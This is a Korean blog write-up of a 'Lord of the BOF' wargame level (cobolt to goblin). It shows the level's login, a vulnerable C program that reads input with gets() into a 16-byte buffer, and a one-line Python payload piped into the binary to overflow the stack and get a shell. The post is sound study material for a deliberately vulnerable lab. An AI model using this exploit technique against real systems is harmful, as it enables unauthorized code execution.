ID : cobolt
PW : hacking exposed
이번에도 전체적인 흐름은 다음과 같다.
- 취약점 찾기
- 페이로드 작성
- 취약점 트리거 및 비밀번호 획득
이 과정을 잊지말고 leve3을 진행해보자.
1. 취약점 찾기
디렉토리 내에 어떤 파일이 존재하는지 먼저 확인해본다. 이번에도 다음 레벨(goblin)로 setreuid가 설정되어 있는 실행파일 하나와 그 바이너리의 소스코드파일(goblin.c)이 있다. 역시나 다음 할 일은 goblin.c를 보고 취약점을 찾는 일이다.
[cobolt@localhost cobolt]$ nl goblin.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - goblin
4 - small buffer + stdin
5 */
6 int main()
7 {
8 char buffer[16];
9 gets(buffer);
10 printf("%s\n", buffer);
11 }
이번에는 작은 버퍼에 gets 함수를 통해 입력을 받고있다. gets함수에서 buffer overflow가 발생할 수 있다!! gets함수는 문자열을 입력 받는 함수이지만, 문자열을 담을 공간의 크기(여기서는 buffer의 크기)와 입력받을 문자열의 크기를 확인하지않고 입력을 받아 buffer overflow가 일어날 수 있다. 그럼 이제 level2의 환경변수를 이용한 방법과 비슷하게 문제를 해결하면 될 것이다. 근데 이번엔 argv로 인자를 전달할 수 없기 때문에 파이프라인(pipeline, |)을 이용해 인자를 전달해준다.
2. 페이로드 작성
level1의 환경변수 방법과 동일하다. 자세한 풀이는 다음 글의 2-5를 참고 바란다.
다만, 위의 방식과는 살짝 다르게 argv로 인자를 넘기는 것이 아니라 파이프라인을 이용해 입력값을 넘겨준다. 파이프라인은 한 라인으로 여러 명령어를 실행하는 방법 중 하나로, 앞 명령의 결과가 뒤 명령의 입력값으로 들어가는 특징이 있다. 따라서 python -c로 페이로드를 먼저 실행하고 다음 명령으로 ./goblin을 실행하면 될 것이다.
3. 취약점 트리거 및 비밀번호 획득
(python -c 'print("\x90"*20+"\x60\xfe\xff\xbf")';cat) | ./goblin
'wargame - system > LoB' 카테고리의 다른 글
[LoB] Level2 : gremlin >> cobolt (0) | 2022.11.13 |
---|---|
[LoB] Level1 : gate >> gremlin (0) | 2022.11.05 |
[LoB] The Load of BoF - 해커스쿨 BoF 환경 구축 (0) | 2022.10.31 |